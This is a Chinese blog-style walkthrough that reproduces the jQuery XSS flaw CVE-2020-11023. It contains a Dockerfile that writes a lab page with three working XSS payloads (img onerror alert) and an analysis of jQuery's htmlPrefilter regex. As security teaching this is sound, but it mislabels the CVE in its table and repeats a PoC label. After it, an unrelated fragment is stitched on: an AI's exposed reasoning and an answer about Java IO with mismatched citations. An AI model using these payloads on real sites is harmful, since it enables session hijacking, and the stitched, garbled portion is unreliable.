【CVE-2020-11023】——漏洞复现、原理分析以及漏洞修复


前言

  在jQuery版本1.0.3到3.5.0之间(包括1.0.3,但不包括3.5.0),将包含<option>元素的HTML(即使已进行消毒处理)从不受信任的来源传递给jQuery的某些DOM操作方法(如.html().append()等)可能会导致执行不受信任的代码。该问题在jQuery 3.5.0中已得到修复。


1、漏洞概述

  jQuery是美国John Resig程序员的一套开源、跨浏览器的JavaScript库。该库简化了HTML与JavaScript之间的操作,并具有模块化、插件扩展等特点。jQuery 1.0.3版本至3.5.0之前版本中存在跨站脚本漏洞。该漏洞源于WEB应用缺少对客户端数据的正确验证。攻击者可利用该漏洞执行客户端代码。关于此漏洞的详细信息请参阅下表。关于此漏洞的更多信息,请参阅阿里云漏洞库NVD

类型详细信息
CVE编号CVE-2020-11022
NVD评分6.1
披露时间2020-04-30
漏洞类型跨站脚本
漏洞危害劫持会话
影响范围1.0.3<=jquery<3.5.0
是否有Patch
Patch是否可用
数据保密性无影响
数据完整性传输被破坏
攻击路径远程
攻击复杂度容易

2、漏洞复现

2.1、漏洞复现测试环境

软件环境硬件环境约束条件
操作系统版本为ubuntu-22.04.1-desktop-amd64分配4个处理器,每个处理器有4个内核,处理器内核总数为161.0.3<=jquery<3.5.0
Linux内核版本为5.15.0-43-generic内存16GB暂无
Docker版本为24.0.7硬盘400GB暂无
Docker-Compose版本为2.18.1暂无暂无
使用的虚拟机管理器为VMware 17.0.0暂无暂无

2.2、漏洞复现具体步骤

  首先请参阅“应用、系统库POC验证环境搭建规范”一文搭建Docker与Docker-Compose环境后,再参考下文进行漏洞复现。

  1. 首先来到系统的根目录中创建名为“PocV”的目录(如果此目录已经存在则无需创建),并进入此目录中,此目录作为各类应用、系统库的POC/CVE验证的总目录使用:
$ cd ~
$ mkdir PocV
$ cd PocV/
  1. 然后在此目录中创建名为“jQuery”的目录,(如果此目录已经存在则无需创建),并进入此目录中,此目录作为jQuery的POC/CVE验证的总目录使用:
$ mkdir jQuery
$ cd jQuery/
  1. 然后在此目录中创建名为“CVE-2020-11023”的目录,并进入此目录中,此目录作为jQuery的CVE-2020-11023的POC/CVE验证的总目录使用:
$ mkdir CVE-2020-11023
$ cd CVE-2020-11023/
  1. 然后在此目录中创建一个名为“Dockerfile”的文件,并编辑其,此文件就是用来构建用于POC/CVE验证的环境的:
$ touch Dockerfile
$ gedit Dockerfile
  1. 然后在打开的文件中输入如下内容,这些具体内容就是用来构建对应的环境的:
# 使用一个基础镜像,比如nginx
FROM nginx

# 写入POC源代码到指定文件中
RUN rm -rf /usr/share/nginx/html/index.html
RUN echo '<!DOCTYPE html>' > /usr/share/nginx/html/index.html && \
    echo '<html>' >> /usr/share/nginx/html/index.html && \
    echo ' <head>' >> /usr/share/nginx/html/index.html && \
    echo '  <meta charset="utf-8">' >> /usr/share/nginx/html/index.html && \
    echo '  <title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title>' >> /usr/share/nginx/html/index.html && \
    echo '  <script src="https://code.jquery.com/jquery-1.7.1.min.js"></script>' >> /usr/share/nginx/html/index.html && \
    echo ' </head>' >> /usr/share/nginx/html/index.html && \
    echo ' <body>' >> /usr/share/nginx/html/index.html && \
    echo '  <script>' >> /usr/share/nginx/html/index.html && \
    echo '   function test(n,jq){' >> /usr/share/nginx/html/index.html && \
    echo '       sanitizedHTML = document.getElementById("poc"+n).innerHTML;' >> /usr/share/nginx/html/index.html && \
    echo '       if(jq){' >> /usr/share/nginx/html/index.html && \
    echo '           $("#div").html(sanitizedHTML);' >> /usr/share/nginx/html/index.html && \
    echo '       }else{' >> /usr/share/nginx/html/index.html && \
    echo '           div.innerHTML=sanitizedHTML;' >> /usr/share/nginx/html/index.html && \
    echo '       }' >> /usr/share/nginx/html/index.html && \
    echo '   }' >> /usr/share/nginx/html/index.html && \
    echo '  </script>' >> /usr/share/nginx/html/index.html && \
    echo '  <h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1>' >> /usr/share/nginx/html/index.html && \
    echo '  <p>PoCs of XSS bugs fixed in <a href="//blog.jquery.com/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <a href="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a>' >> /usr/share/nginx/html/index.html && \
    echo '  </p>' >> /usr/share/nginx/html/index.html && \
    echo '  <h2>PoC 1</h2>' >> /usr/share/nginx/html/index.html && \
    echo '  <button οnclick="test(1)">Assign to innerHTML</button>' >> /usr/share/nginx/html/index.html && \
    echo '  <button οnclick="test(1,true)">Append via .html()</button>' >> /usr/share/nginx/html/index.html && \
    echo '  <xmp id="poc1">' >> /usr/share/nginx/html/index.html && \
    echo '    <style>' >> /usr/share/nginx/html/index.html && \
    echo '    <style /><img src=x οnerrοr=alert(1)>' >> /usr/share/nginx/html/index.html && \
    echo '   </xmp>' >> /usr/share/nginx/html/index.html && \
    echo '  </xmp>' >> /usr/share/nginx/html/index.html && \
    echo '  <h2>PoC 2 (Only jQuery 3.x affected)</h2>' >> /usr/share/nginx/html/index.html && \
    echo '  <button οnclick="test(2)">Assign to innerHTML</button> <button οnclick="test(2,true)">Append via .html()</button>' >> /usr/share/nginx/html/index.html && \
    echo '  <xmp id="poc2">' >> /usr/share/nginx/html/index.html && \
    echo '    <img alt="<x" title="/><img src=x οnerrοr=alert(1)>"' >> /usr/share/nginx/html/index.html && \
    echo '  </xmp>' >> /usr/share/nginx/html/index.html && \
    echo '  </xmp>' >> /usr/share/nginx/html/index.html && \
    echo '  <h2>PoC 3</h2>' >> /usr/share/nginx/html/index.html && \
    echo '  <button οnclick="test(3)">Assign to innerHTML</button> <button οnclick="test(3,true)">Append via .html()</button>' >> /usr/share/nginx/html/index.html && \
    echo '  <xmp id="poc3">' >> /usr/share/nginx/html/index.html && \
    echo '    <option><style></option></select><img src=x οnerrοr=alert(1)>' >> /usr/share/nginx/html/index.html && \
    echo '   </style>' >> /usr/share/nginx/html/index.html && \
    echo '  </xmp>' >> /usr/share/nginx/html/index.html && \
    echo '  <div id="div"></div>' >> /usr/share/nginx/html/index.html && \
    echo ' </body>' >> /usr/share/nginx/html/index.html && \
    echo '</html>' >> /usr/share/nginx/html/index.html

# 暴露容器的80端口
EXPOSE 80
  1. 然后保存以上内容后退出,再在此目录中创建一个名为“docker-compose.yml”的文件,并编辑其,此文件就是用来启动用于POC/CVE验证的环境的:
$ touch docker-compose.yml
$ gedit docker-compose.yml
  1. 然后在打开的文件中输入如下内容,这些具体内容就是用来配置对应的环境的:
version: '3'
services:
  cve-2020-11023:
    build:
      context: .
      dockerfile: Dockerfile
    ports:
      - "8080:80"
    container_name: cve-2020-11023
  1. 然后保存以上修改后退出,并执行如下命令来编译及启动用于POC/CVE验证的容器:
$ sudo docker-compose build
$ sudo docker-compose up -d
  1. 然后使用如下命令来查看本机的IP地址:
$ ifconfig
  1. 然后记录本机的IP地址:
    在这里插入图片描述

  2. 然后执行如下命令来利用刚刚获取到的本机的IP地址来访问用于POC/CVE验证的网页:

$ firefox http://192.168.157.216:8080/
  1. 然后会出现如下图所示的内容,这里包含三个POC:
    在这里插入图片描述

  2. 对于POC1,我们按照如下图选择,会出现弹窗,证明POC/CVE验证成功:
    在这里插入图片描述

  3. 对于其余两个POC也是一样的验证方式,我们在此不再赘述。当我们对POC/CVE验证完毕后,就可以关闭浏览器,并在对应的终端中执行如下命令来停止我们正在运行的容器:

$ sudo docker stop $(sudo docker ps -q)
  1. 当我们做完以上操作后,就代表本次POC/CVE验证成功。然后我们可以使用如下命令查看一下本次测试所构建好的Docker镜像:
$ sudo ls -l /var/lib/docker/image
  1. 可以发现,本次测试所构建的Docker镜像的名称为“overlay2”:
    在这里插入图片描述

  2. 最后,还可以查看一下本次测试所构建好的Docker容器:

$ sudo ls -l /var/lib/docker/containers
  1. 可以发现,本次测试所构建的Docker容器的ID为“b21ae4d22a4f3e91721c8096faf74a4b42741d322c447d8a9091284f84855496”:
    在这里插入图片描述

3、漏洞原理

3.1、前置知识

  产生原理:XSS(跨站脚本攻击)漏洞产生于未对用户输入进行充分验证和过滤的 Web 应用程序。攻击者通过注入恶意脚本代码,使用户在浏览器中执行这些脚本,从而导致恶意行为发生。这可以通过恶意注入脚本代码到网页中的用户可控输入点,如表单、URL参数等,实现对用户会话和敏感信息的攻击。

  触发条件:攻击者需要在目标网站的输入点(如搜索框、评论框等)注入恶意脚本代码,并使受害者在浏览器中加载包含这些脚本的页面。用户访问了带有恶意脚本的页面,浏览器执行了这些脚本,导致攻击发生。

  如何避免:有效的防御措施包括输入验证、输出编码和采用安全的开发实践。应该对用户输入进行严格验证,过滤掉潜在的恶意代码。输出时,使用合适的编码方式,例如将特殊字符转义为它们的HTML实体,以防止浏览器执行其中的脚本。另外,采用安全的开发实践,如使用安全框架、更新依赖库等,也是防范XSS攻击的关键。

3.2、漏洞分析

  CVE-2020-11022是jQuery 3.x版本中的一个漏洞,涉及到jQuery在处理HTML字符串时的一个正则表达式替换问题。具体来说,这个漏洞的关键在于jQuery使用的htmlPrefilter方法。

  在jQuery 3.x之前,htmlPrefilter方法使用了以下正则表达式(rxhtmlTag):

rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi

  在jQuery 3.x之后,这个正则表达式被修改为:

rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi

  这个正则表达式的作用是匹配自闭合标签,并将其替换为对应的开标签和闭标签。这种替换通常用于规范化HTML。

  然而,CVE-2020-11022中的漏洞允许攻击者构造恶意的HTML字符串,绕过htmlPrefilter的规则,导致潜在的XSS攻击。具体来说,攻击者可以在属性中插入JavaScript代码。

  1. POC1:
<xmp id="poc1">
<style><style /><img src=x onerror=alert(1)> 
</xmp>

经过jQuery的htmlPrefilter替换后的结果是:

<style><style></style><img src=x onerror=alert(1)>

  在这个结构中,实际上<style></style>被解析为样式元素的内容,而不是被视为自闭合的样式标签。这是jQuery替换机制导致的错误,导致浏览器在解析时产生了意外的结果。

  在浏览器解析这个错误的HTML结构时,它将整个<style><style></style><img src=x onerror=alert(1)></style>视为样式元素的内容,而<img src=x onerror=alert(1)>则不再被解析为独立的标签。这使得<img src=x onerror=alert(1)>的内容被视为样式元素的一部分,而不是独立的HTML元素。

  因此,通过这种错误的替换,导致了浏览器在解析时将整个<style>元素及其内容视为样式,而<img src=x onerror=alert(1)>被嵌套在其中,从而触发了onerror事件,导致了XSS攻击。

  1. POC1:
<img alt="<x" title="/><img src=x onerror=alert(1)>

  通过调用 jQuery 的 html() 方法,这个恶意字符串被传递到 htmlPrefilter 中,正则表达式的处理会导致将 x" 视为标签,并新增 </x"> 闭合标签,从而绕过消毒器规则。

  最终的效果是在生成的 HTML 中插入了恶意的 JavaScript 代码:

<img alt="<x" title="/></x"><img src=x onerror=alert(1)>

4、漏洞修复

  更新jQuery到3.5.0或更高版本。

5、参考文献

  1. CVE-2020-11022-CVE
  2. CVE-2020-11023-CVE
  3. CVE-2020-11022-NVD
  4. CVE-2020-11023-NVD
  5. 【JQuery-XSS漏洞(CVE-2020-11022/CVE-2020-11023)漏洞复现】
  6. jQuery Core 3.5 Upgrade Guide
  7. jQuery 3.5.0 Released!

总结

  以上就是关于CVE-2020-11023的全部内容了,后续还会带来关于其它应用漏洞的漏洞复现、原理分析以及漏洞修复,我们下篇博客见!

03-21
<think>好的,我现在需要处理用户关于Java IO的问题。用户希望了解Java IO的概念或者解决相关问题,特别是询问教程和故障排除的方法。首先,我得回顾一下Java IO的基础知识,确保自己理解正确,然后组织回答的结构。 首先,Java IO主要涉及输入输出流,用于处理数据的读写。核心包是java.io,里面有很多类,比如File、InputStream、OutputStream、Reader、Writer等。用户可能需要知道这些类的层次结构和使用方法。 接下来,常见的IO操作包括文件读写、网络通信、序列化等。比如,FileInputStream和FileOutputStream用于字节流,而FileReader和FileWriter用于字符流。缓冲流(BufferedInputStream等)可以提高效率,这部分应该提到。 然后,异常处理是Java IO中很重要的一部分,比如IOException,需要正确处理try-with-resources来自动关闭流,避免资源泄漏。这部分用户可能在故障排除时会遇到问题,比如未正确关闭流导致文件锁定或资源耗尽。 关于教程,Oracle的官方文档是权威资源,应该引用。比如引用[3]提到了JSP的信息,但用户需要的是IO的教程,可能需要检查是否有其他引用相关。不过用户给出的引用中,引用[1]是关于JDK 7的故障排除工具,可能和调试IO问题相关,比如使用jdb进行调试。引用[5]提到字节码信息,可能和IO关系不大,但故障排除时可能需要查看异常堆栈,这可能涉及字节码或类加载的问题。 对于故障排除,常见问题包括文件路径错误、权限问题、字符编码不一致导致的乱码,或者流未正确关闭。比如,文件找不到可能是因为相对路径的当前工作目录与预期不符,或者文件被其他进程占用。这时候需要检查路径是否正确,是否有读取权限,使用绝对路径测试,或者使用工具如Process Explorer查看文件句柄。 此外,NIO(New IO)在Java 1.4引入,提供了非阻塞IO和通道等高效处理方式,用户可能也需要了解NIO和传统IO的区别,比如使用Channel和Buffer的方式,或者使用Files类简化操作。 在组织回答时,需要分步骤讲解,比如先介绍核心概念,然后常见操作,接着是故障排除技巧,最后提供学习资源和相关工具。同时,生成的问题要围绕Java IO的进一步学习,比如NIO、性能优化、常见异常处理等。 需要确保回答中的LaTeX格式正确,比如类名和方法名可能需要用代码块,而数学表达式则用$...$。例如,文件路径的转义可能需要讨论,比如在字符串中使用反斜杠需要转义,写成`"C:\\\\path\\\\to\\\\file"`,但这里可能不需要数学表达式,所以可能不需要用到LaTeX的公式部分。 检查用户提供的引用,是否有与IO相关的资源。引用[4]是关于安卓USB驱动的,可能不相关。引用[2]关于反射,可能也不直接相关,但故障排除时可能会用到反射来检查类路径或资源加载,这可能间接相关,但可能不需要特别提到。 总结回答结构: 1. Java IO核心概念:流、字节流与字符流、缓冲流、NIO。 2. 常见操作:文件读写示例代码。 3. 故障排除:常见问题及解决方法,如路径、权限、编码、资源泄漏。 4. 学习资源:官方教程、工具(如jdb)。 5. 相关问题:如何选择IO和NIO,处理大文件,字符编码问题,关闭资源方法,常见异常处理。 需要确保回答中的引用正确,比如引用[1]关于JDK工具,可能在故障排除时使用jdb或者jstack等工具分析问题,可以提到。引用[3]的链接虽然是JSP,但Oracle的Java EE教程可能包含IO相关内容,需要检查链接是否有效,但用户提供的链接可能已失效,需要注意。不过用户给出的引用可能有误,比如引用[3]的网址是javaee.github.io,可能是正确的,但需要确认是否有IO相关部分。 最后,代码示例需要正确,比如使用try-with-resources来读取文件,展示正确的异常处理方式。同时,确保所有技术术语准确,例如InputStreamReader处理字符编码,BufferedReader提高读取效率。 可能的问题点:用户提供的引用中是否有直接关于Java IO的内容?引用[1]提到JDK工具,可以用于调试IO问题,比如使用jdb调试应用程序,或者在出现IO异常时分析线程状态。引用[5]关于字节码信息,可能与IO问题关系不大,但类加载时找不到资源文件可能会涉及,需要看具体情况。 因此,在故障排除部分,可以建议使用JDK工具如jstack检查是否有线程阻塞在IO操作,或者使用jdb进行调试,引用[1]。同时,处理资源泄漏时,可以使用try-with-resources来自动关闭流,这是Java 7的特性,可能需要提到。 综上所述,回答的结构应该是先介绍核心概念,然后示例代码,接着故障排除步骤,引用相关资源,最后生成相关问题。</think>### Java IO 概念与问题排查指南 #### 一、核心概念 Java IO(输入输出)用于处理数据读写,核心包为 `java.io`,主要分为两类: 1. **字节流**:处理二进制数据,基类为 `InputStream` 和 `OutputStream`,例如 `FileInputStream` 和 `BufferedOutputStream`。 2. **字符流**:处理文本数据,基类为 `Reader` 和 `Writer`,例如 `FileReader` 和 `BufferedWriter`。 3. **NIO(New IO)**:Java 1.4 引入,通过 `Channel` 和 `Buffer` 实现高效非阻塞操作,例如 `Files.readAllLines()`[^1]。 #### 二、常见操作示例 1. **文件读取(字符流)**: ```java try (BufferedReader reader = new BufferedReader(new FileReader("test.txt"))) { String line; while ((line = reader.readLine()) != null) { System.out.println(line); } } catch (IOException e) { e.printStackTrace(); } ``` 2. **文件写入(字节流)**: ```java try (OutputStream out = new BufferedOutputStream(new FileOutputStream("output.dat"))) { out.write("Hello".getBytes()); } catch (IOException e) { e.printStackTrace(); } ``` #### 三、故障排查技巧 1. **文件路径问题** - 使用绝对路径或检查工作目录:`System.getProperty("user.dir")`。 - 路径分隔符兼容性:使用 `File.separator` 替代硬编码的 `/` 或 `\`。 2. **权限与资源占用** - 确认文件可读/写:`file.canRead()` 和 `file.canWrite()`。 - 确保流正确关闭:使用 **try-with-resources**(Java 7+)避免资源泄漏。 3. **字符编码问题** - 指定编码格式:例如 `new InputStreamReader(new FileInputStream("file.txt"), StandardCharsets.UTF_8)`。 4. **调试工具** - 使用 `jdb`(Java Debugger)追踪 IO 异常堆栈[^1]。 - 通过 `jstack` 分析线程阻塞(如网络 IO 超时)。 #### 四、学习资源 1. **官方教程** - [Oracle Java IO 教程](https://docs.oracle.com/javase/tutorial/essential/io/)(涵盖基础与 NIO)。 2. **进阶内容** - Java NIO.2(Java 7+)的 `Path` 和 `Files` 类[^3]。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

IronmanJay

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值